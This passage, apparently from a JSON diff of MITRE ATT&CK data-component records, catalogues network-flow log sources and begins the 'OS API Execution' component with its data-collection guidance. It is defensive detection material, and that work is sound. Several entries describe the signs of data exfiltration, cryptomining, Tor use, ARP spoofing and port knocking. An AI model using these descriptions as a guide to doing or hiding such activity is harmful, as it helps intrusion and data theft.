+ "name": "NSM:Connections", + "channel": "Internal connection logging" + }, + { + "name": "NSM:Flow", + "channel": "pf firewall logs" + }, + { + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + }, + { + "name": "NSM:Flow", + "channel": "Inter-segment traffic" + }, + { + "name": "NSM:Flow", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Long-lived or hijacked SSH sessions maintained with no active user activity" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "VPC/NSG flow logs for pod/instance egress to Internet or metadata" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious outbound traffic from browser binary to non-standard domains" + }, + { + "name": "NSM:Flow", + "channel": "Abnormal browser traffic volume or destination" + }, + { + "name": "NSM:Flow", + "channel": "Outbound requests to domains not previously resolved or associated with phishing campaigns" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click" + }, + { + "name": "M365Defender:DeviceNetworkEvents", + "channel": "NetworkConnection: bytes_sent >> bytes_received anomaly" + }, + { + "name": "PF:Logs", + "channel": "outbound flows with bytes_out >> bytes_in" + }, + { + "name": "NSX:FlowLogs", + "channel": "network_flow: bytes_out >> bytes_in to external" + }, + { + "name": "NSM:Flow", + "channel": "NetFlow/Zeek conn.log" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound data flows" + }, + { + "name": "NSM:Flow", + "channel": "Flow records with entropy signatures resembling symmetric encryption" + }, + { + "name": "NSM:Flow", + "channel": "flow records" + }, + { + "name": "networkdevice:syslog", + "channel": "flow records" + }, + { + "name": "macos:unifiedlog", + "channel": "HTTPS POST to known webhook URLs" + }, + { + "name": "saas:api", + "channel": "Webhook registrations or repeated POST activity" + }, + { + "name": "NSM:Flow", + "channel": "Source/destination IP translation inconsistent with intended policy" + }, + { + "name": "SNMP:DeviceLogs", + "channel": "Unexpected NAT translation statistics or rule insertion events" + }, + { + "name": "NSM:Flow", + "channel": "Sudden spike in incoming flows to web service ports from single/multiple IPs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Unusual volume of inbound packets from single source across short time interval" + }, + { + "name": "NSM:Flow", + "channel": "port 5900 inbound" + }, + { + "name": "NSM:Flow", + "channel": "TCP port 5900 open" + }, + { + "name": "NSM:firewall", + "channel": "inbound connection to port 5900" + }, + { + "name": "NSM:Firewall", + "channel": "Outbound connections to 139/445 to multiple destinations" + }, + { + "name": "VPCFlowLogs:All", + "channel": "High volume internal traffic with low entropy indicating looped or malicious DoS script" + }, + { + "name": "NSM:Flow", + "channel": "NetFlow/sFlow/PCAP" + }, + { + "name": "NSM:Flow", + "channel": "Outbound Network Flow" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.network" + }, + { + "name": "NSM:Flow", + "channel": "Device-to-Device Deployment Flows" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect syscalls" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound TCP/UDP traffic over unexpected port" + }, + { + "name": "esxi:vpxd", + "channel": "ESXi service connections on unexpected ports" + }, + { + "name": "iptables:LOG", + "channel": "OUTBOUND" + }, + { + "name": "macos:unifiedlog", + "channel": "tcp/udp" + }, + { + "name": "esxi:hostd", + "channel": "CLI network calls" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic from suspicious new processes post-attachment execution" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious anomalies in transmitted data integrity during application network operations" + }, + { + "name": "esxi:syslog", + "channel": "DNS resolution events leading to outbound traffic on unexpected ports" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic to mining pools or proxies" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound flow logs to known mining pools" + }, + { + "name": "container:cni", + "channel": "Outbound network traffic to mining proxies" + }, + { + "name": "esxi:vpxd", + "channel": "TLS session established by ESXi service to unapproved endpoint" + }, + { + "name": "NSM:Flow", + "channel": "Session records with TLS-like byte patterns" + }, + { + "name": "macos:unifiedlog", + "channel": "HTTPS POST requests to pastebin.com or similar" + }, + { + "name": "NetFlow:Flow", + "channel": "new outbound connections from exploited process tree" + }, + { + "name": "NSM:Connections", + "channel": "new connections from exploited lineage" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected route changes or duplicate gateway advertisements" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall", + "channel": "EventCode=2004,2005,2006" + }, + { + "name": "NSM:Flow", + "channel": "Knock pattern: repeated REJ/S0 across \u2265MinSequenceLen ports from same src_ip then SF success." + }, + { + "name": "macos:unifiedlog", + "channel": "Firewall/PF anchor load or rule change events." + }, + { + "name": "networkdevice:syslog", + "channel": "Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes." + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to non-approved update hosts right after install/update" + }, + { + "name": "NSM:Flow", + "channel": "New outbound flows to non-approved vendor hosts post install" + }, + { + "name": "NSM:Flow", + "channel": "New/rare egress to non-approved update hosts after install" + }, + { + "name": "NSM:Flow", + "channel": "large outbound HTTPS uploads to repo domains" + }, + { + "name": "esxi:vmkernel", + "channel": "HTTPS traffic to repository domains" + }, + { + "name": "NSM:Flow", + "channel": "alert log" + }, + { + "name": "esxi:vmkernel", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Outbound flow records" + }, + { + "name": "m365:defender", + "channel": "NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch" + }, + { + "name": "PF:Logs", + "channel": "high out:in ratio or fixed-size periodic flows" + }, + { + "name": "NSM:Flow", + "channel": "network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect or sendto system call with burst pattern" + }, + { + "name": "macos:unifiedlog", + "channel": "sudden burst in outgoing packets from same PID" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "source instance sends large volume of traffic in short window" + }, + { + "name": "NSM:Flow", + "channel": "session stats with bytes_out > bytes_in" + }, + { + "name": "NIDS:Flow", + "channel": "session stats with bytes_out > bytes_in" + }, + { + "name": "esxi:vpxa", + "channel": "connection attempts and data transmission logs" + }, + { + "name": "PF:Logs", + "channel": "External traffic to remote access services" + }, + { + "name": "NSM:Flow", + "channel": "High volumes of SYN/ACK packets with unacknowledged TCP handshakes" + }, + { + "name": "dns:query", + "channel": "Outbound resolution to hidden service domains (e.g., `.onion`)" + }, + { + "name": "NSM:Flow", + "channel": "conn.log + ssl.log with Tor fingerprinting" + }, + { + "name": "macos:unifiedlog", + "channel": "forwarded encrypted traffic" + }, + { + "name": "NSM:Flow", + "channel": "Relayed session pathing (multi-hop)" + }, + { + "name": "NSM:Flow", + "channel": "Outbound TCP SYN or UDP to multiple ports/hosts" + }, + { + "name": "containerd:runtime", + "channel": "container-level outbound traffic events" + }, + { + "name": "WLANLogs:Association", + "channel": "Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type" + }, + { + "name": "linux:osquery", + "channel": "socket_events" + }, + { + "name": "WinEventLog:Security", + "channel": "ARP cache modification attempts observed through event tracing or security baselines" + }, + { + "name": "NSM:Flow", + "channel": "Gratuitous ARP replies with mismatched IP-MAC binding" + }, + { + "name": "macos:unifiedlog", + "channel": "ARP table updates inconsistent with expected gateway or DHCP lease assignments" + }, + { + "name": "macos:unifiedlog", + "channel": "networkd or com.apple.network" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream 'eventMessage contains \"dns_request\"'" + }, + { + "name": "esxi:syslog", + "channel": "/var/log/syslog.log" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateTrafficMirrorSession or ModifyTrafficMirrorTarget" + }, + { + "name": "networkdevice:syslog", + "channel": "Config change: CLI/NETCONF/SNMP \u2013 'monitor session', 'mirror port'" + }, + { + "name": "NSM:Flow", + "channel": "Outbound UDP floods targeting common reflection services with spoofed IP headers" + }, + { + "name": "macos:unifiedlog", + "channel": "Outbound UDP spikes to external reflector IPs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Large outbound UDP traffic to multiple public reflector IPs" + }, + { + "name": "macos:unifiedlog", + "channel": "High entropy domain queries with multiple NXDOMAINs" + }, + { + "name": "esxi:syslog", + "channel": "Frequent DNS queries with high entropy names or NXDOMAIN results" + }, + { + "name": "vpxd.log", + "channel": "API communication" + }, + { + "name": "NSM:Connections", + "channel": "Outbound Connection" + }, + { + "name": "NSM:Flow", + "channel": "Connection Tracking" + }, + { + "name": "NSM:Firewall", + "channel": "pf firewall logs" + }, + { + "name": "NSM:Flow", + "channel": "Flow Creation (NetFlow/sFlow)" + }, + { + "name": "NSM:Flow", + "channel": "conn.log, icmp.log" + }, + { + "name": "NSM:Flow", + "channel": "Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions" + }, + { + "name": "NSM:Flow", + "channel": "Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers" + }, + { + "name": "NSM:Connections", + "channel": "Inbound on ports 5985/5986" + }, + { + "name": "linux:syslog", + "channel": "Multiple IP addresses assigned to the same domain in rapid sequence" + }, + { + "name": "macos:unifiedlog", + "channel": "Rapid domain-to-IP resolution changes for same domain" + }, + { + "name": "esxi:syslog", + "channel": "Frequent DNS resolution of same domain with rotating IPs" + }, + { + "name": "NSM:Flow", + "channel": "uncommon ports" + }, + { + "name": "NSM:Flow", + "channel": "alternate ports" + }, + { + "name": "esxi:vpxd", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "conn.log or flow data" + }, + { + "name": "esxi:vmkernel", + "channel": "egress log analysis" + }, + { + "name": "esxi:vmkernel", + "channel": "egress logs" + }, + { + "name": "NSM:Flow", + "channel": "High volume flows with incomplete TCP sessions or single-packet bursts" + }, + { + "name": "NSM:Flow", + "channel": "Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port" + }, + { + "name": "macos:unifiedlog", + "channel": "Firewall rule enable/disable or listen socket changes" + }, + { + "name": "networkdevice:syslog", + "channel": "Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads" + }, + { + "name": "auditd:SYSCALL", + "channel": "ioctl: Changes to wireless network interfaces (up, down, reassociate)" + }, + { + "name": "macos:osquery", + "channel": "query: Historical list of associated SSIDs compared against baseline" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress from host after new install to unknown update endpoints" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to unknown registries/mirrors immediately after install" + }, + { + "name": "NSM:Flow", + "channel": "New egress from app just installed to unknown update endpoints" + }, + { + "name": "esxi:vpxd", + "channel": "ESXi processes relaying traffic via SSH or unexpected ports" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connection to mining pool port (3333, 4444, 5555)" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic to mining pool upon container launch" + }, + { + "name": "NSM:Flow", + "channel": "Flow records with RSA key exchange on unexpected port" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs" + }, + { + "name": "NSM:Flow", + "channel": "sustained outbound HTTPS sessions with high data volume" + }, + { + "name": "NSM:Flow", + "channel": "Connections from IDE hosts to marketplace/tunnel domains" + }, + { + "name": "macos:unifiedlog", + "channel": "Outbound connections from IDE processes to marketplace/tunnel domains" + }, + { + "name": "NSM:Flow", + "channel": "large HTTPS outbound uploads" + }, + { + "name": "esxi:vmkernel", + "channel": "network flows to external cloud services" + }, + { + "name": "NSM:Flow", + "channel": "TCP port 22 traffic" + }, + { + "name": "esxi:vmkernel", + "channel": "port 22 access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0078\", \"external_id\": \"DC0078\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Traffic\", \"channel\": \"None\"}, {\"name\": \"macos:osquery\", \"channel\": \"socket_events\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected flows between segmented networks or prohibited ports\"}, {\"name\": \"snmp:config\", \"channel\": \"Configuration change traps or policy enforcement failures\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time outbound connections to package registries or unknown hosts immediately after restore/build\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to new registries/CDNs post-install/build\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to non-approved registries after dependency install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large outbound data flows or long-duration connections\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"egress > 90th percentile or frequent connection reuse\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect\"}, {\"name\": \"esxi:syslog\", \"channel\": \"esxcli network vswitch or DNS resolver configuration updates\"}, {\"name\": \"esxi:vobd\", \"channel\": \"Network Events\"}, {\"name\": \"iptables:LOG\", \"channel\": \"TCP connections\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection metadata\"}, {\"name\": \"wineventlog:dhcp\", \"channel\": \"DHCP Lease Granted\"}, {\"name\": \"NSM:Flow\", \"channel\": \"LEASE_GRANTED\"}, {\"name\": \"NSM:Flow\", \"channel\": \"MAC not in allow-list acquiring IP (DHCP)\"}, {\"name\": \"Windows Firewall Log\", \"channel\": \"SMB over high port\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Internal connection logging\"}, {\"name\": \"NSM:Flow\", \"channel\": \"pf firewall logs\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"/var/log/vmkernel.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inter-segment traffic\"}, {\"name\": \"NSM:Flow\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Long-lived or hijacked SSH sessions maintained with no active user activity\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"VPC/NSG flow logs for pod/instance egress to Internet or metadata\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious outbound traffic from browser binary to non-standard domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Abnormal browser traffic volume or destination\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound requests to domains not previously resolved or associated with phishing campaigns\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click\"}, {\"name\": \"M365Defender:DeviceNetworkEvents\", \"channel\": \"NetworkConnection: bytes_sent >> bytes_received anomaly\"}, {\"name\": \"PF:Logs\", \"channel\": \"outbound flows with bytes_out >> bytes_in\"}, {\"name\": \"NSX:FlowLogs\", \"channel\": \"network_flow: bytes_out >> bytes_in to external\"}, {\"name\": \"NSM:Flow\", \"channel\": \"NetFlow/Zeek conn.log\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound data flows\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow records with entropy signatures resembling symmetric encryption\"}, {\"name\": \"NSM:Flow\", \"channel\": \"flow records\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"flow records\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"HTTPS POST to known webhook URLs\"}, {\"name\": \"saas:api\", \"channel\": \"Webhook registrations or repeated POST activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Source/destination IP translation inconsistent with intended policy\"}, {\"name\": \"SNMP:DeviceLogs\", \"channel\": \"Unexpected NAT translation statistics or rule insertion events\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Sudden spike in incoming flows to web service ports from single/multiple IPs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Unusual volume of inbound packets from single source across short time interval\"}, {\"name\": \"NSM:Flow\", \"channel\": \"port 5900 inbound\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP port 5900 open\"}, {\"name\": \"NSM:firewall\", \"channel\": \"inbound connection to port 5900\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Outbound connections to 139/445 to multiple destinations\"}, {\"name\": \"VPCFlowLogs:All\", \"channel\": \"High volume internal traffic with low entropy indicating looped or malicious DoS script\"}, {\"name\": \"NSM:Flow\", \"channel\": \"NetFlow/sFlow/PCAP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound Network Flow\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.network\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Device-to-Device Deployment Flows\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect syscalls\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound TCP/UDP traffic over unexpected port\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"ESXi service connections on unexpected ports\"}, {\"name\": \"iptables:LOG\", \"channel\": \"OUTBOUND\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"tcp/udp\"}, {\"name\": \"esxi:hostd\", \"channel\": \"CLI network calls\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic from suspicious new processes post-attachment execution\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious anomalies in transmitted data integrity during application network operations\"}, {\"name\": \"esxi:syslog\", \"channel\": \"DNS resolution events leading to outbound traffic on unexpected ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic to mining pools or proxies\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound flow logs to known mining pools\"}, {\"name\": \"container:cni\", \"channel\": \"Outbound network traffic to mining proxies\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"TLS session established by ESXi service to unapproved endpoint\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Session records with TLS-like byte patterns\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"HTTPS POST requests to pastebin.com or similar\"}, {\"name\": \"NetFlow:Flow\", \"channel\": \"new outbound connections from exploited process tree\"}, {\"name\": \"NSM:Connections\", \"channel\": \"new connections from exploited lineage\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected route changes or duplicate gateway advertisements\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall\", \"channel\": \"EventCode=2004,2005,2006\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Knock pattern: repeated REJ/S0 across \\u2265MinSequenceLen ports from same src_ip then SF success.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Firewall/PF anchor load or rule change events.\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to non-approved update hosts right after install/update\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New outbound flows to non-approved vendor hosts post install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New/rare egress to non-approved update hosts after install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large outbound HTTPS uploads to repo domains\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"HTTPS traffic to repository domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"alert log\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound flow records\"}, {\"name\": \"m365:defender\", \"channel\": \"NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch\"}, {\"name\": \"PF:Logs\", \"channel\": \"high out:in ratio or fixed-size periodic flows\"}, {\"name\": \"NSM:Flow\", \"channel\": \"network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect or sendto system call with burst pattern\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"sudden burst in outgoing packets from same PID\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"source instance sends large volume of traffic in short window\"}, {\"name\": \"NSM:Flow\", \"channel\": \"session stats with bytes_out > bytes_in\"}, {\"name\": \"NIDS:Flow\", \"channel\": \"session stats with bytes_out > bytes_in\"}, {\"name\": \"esxi:vpxa\", \"channel\": \"connection attempts and data transmission logs\"}, {\"name\": \"PF:Logs\", \"channel\": \"External traffic to remote access services\"}, {\"name\": \"NSM:Flow\", \"channel\": \"High volumes of SYN/ACK packets with unacknowledged TCP handshakes\"}, {\"name\": \"dns:query\", \"channel\": \"Outbound resolution to hidden service domains (e.g., `.onion`)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log + ssl.log with Tor fingerprinting\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"forwarded encrypted traffic\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Relayed session pathing (multi-hop)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound TCP SYN or UDP to multiple ports/hosts\"}, {\"name\": \"containerd:runtime\", \"channel\": \"container-level outbound traffic events\"}, {\"name\": \"WLANLogs:Association\", \"channel\": \"Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type\"}, {\"name\": \"linux:osquery\", \"channel\": \"socket_events\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"ARP cache modification attempts observed through event tracing or security baselines\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Gratuitous ARP replies with mismatched IP-MAC binding\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"ARP table updates inconsistent with expected gateway or DHCP lease assignments\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"networkd or com.apple.network\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream 'eventMessage contains \\\"dns_request\\\"'\"}, {\"name\": \"esxi:syslog\", \"channel\": \"/var/log/syslog.log\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateTrafficMirrorSession or ModifyTrafficMirrorTarget\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Config change: CLI/NETCONF/SNMP \\u2013 'monitor session', 'mirror port'\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound UDP floods targeting common reflection services with spoofed IP headers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outbound UDP spikes to external reflector IPs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Large outbound UDP traffic to multiple public reflector IPs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"High entropy domain queries with multiple NXDOMAINs\"}, {\"name\": \"esxi:syslog\", \"channel\": \"Frequent DNS queries with high entropy names or NXDOMAIN results\"}, {\"name\": \"vpxd.log\", \"channel\": \"API communication\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Outbound Connection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connection Tracking\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"pf firewall logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow Creation (NetFlow/sFlow)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log, icmp.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Inbound on ports 5985/5986\"}, {\"name\": \"linux:syslog\", \"channel\": \"Multiple IP addresses assigned to the same domain in rapid sequence\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Rapid domain-to-IP resolution changes for same domain\"}, {\"name\": \"esxi:syslog\", \"channel\": \"Frequent DNS resolution of same domain with rotating IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"uncommon ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"alternate ports\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log or flow data\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"egress log analysis\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"egress logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"High volume flows with incomplete TCP sessions or single-packet bursts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Firewall rule enable/disable or listen socket changes\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ioctl: Changes to wireless network interfaces (up, down, reassociate)\"}, {\"name\": \"macos:osquery\", \"channel\": \"query: Historical list of associated SSIDs compared against baseline\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress from host after new install to unknown update endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to unknown registries/mirrors immediately after install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New egress from app just installed to unknown update endpoints\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"ESXi processes relaying traffic via SSH or unexpected ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connection to mining pool port (3333, 4444, 5555)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic to mining pool upon container launch\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow records with RSA key exchange on unexpected port\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"sustained outbound HTTPS sessions with high data volume\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connections from IDE hosts to marketplace/tunnel domains\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outbound connections from IDE processes to marketplace/tunnel domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large HTTPS outbound uploads\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network flows to external cloud services\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP port 22 traffic\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"port 22 access\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.703000+00:00\", \"old_value\": \"2025-04-18 15:11:20.168000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.999000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0021", + "external_id": "DC0021" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "OS API Execution", + "description": "Calls made by a process to operating system-provided Application Programming Interfaces (APIs). These calls are essential for interacting with system resources such as memory, files, and hardware, or for performing system-level tasks. Monitoring these calls can provide insight into a process's intent, especially if the process is malicious.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n - Leverage tools to monitor API execution behaviors at the process level.\n - Example: Sysmon Event ID 10 captures API call traces for process access and memory allocation.\n- Process Monitor (ProcMon):\n - Use ProcMon to collect detailed logs of process and API activity. ProcMon can provide granular details on API usage and identify malicious behavior during analysis.\n- Windows Event Logs:\n - Use Event IDs from Windows logs for specific API-related activities:\n - Event ID 4688: A new process has been created (can indirectly infer API use).\n - Event ID 4657: A registry value has been modified (to monitor registry-altering APIs).\n- Dynamic Analysis Tools:\n - Tools like Cuckoo Sandbox, Flare VM, or Hybrid Analysis monitor API execution during malware detonation.\n- Host-Based Logs:\n - On Linux/macOS systems, leverage audit frameworks (e.g., `auditd`, `strace`) to capture and analyze system call usage that APIs map to.\n- Runtime Monitors:\n - Runtime security tools like Falco can monitor system-level calls for API execution.\n- Debugging and Tracing:\n - Use debugging tools like gdb (Linux) or WinDbg (Windows) for deep tracing of API executions in real time.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Base", + "channel": "GetLocaleInfoW, GetTimeZoneInformation API calls" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetMetadata, DescribeInstanceIdentity" + }, + { + "name": "macos:osquery", + "channel": "open, execve: Unexpected processes accessing or modifying critical files" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace, ioctl" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API tracing / stack tracing via ETW or telemetry-based EDR" + }, + { + "name": "EDR:memory", + "channel": "Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)" + }, + { + "name": "networkdevice:syslog", + "channel": "aaa privilege_exec" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "APCQueueOperations" 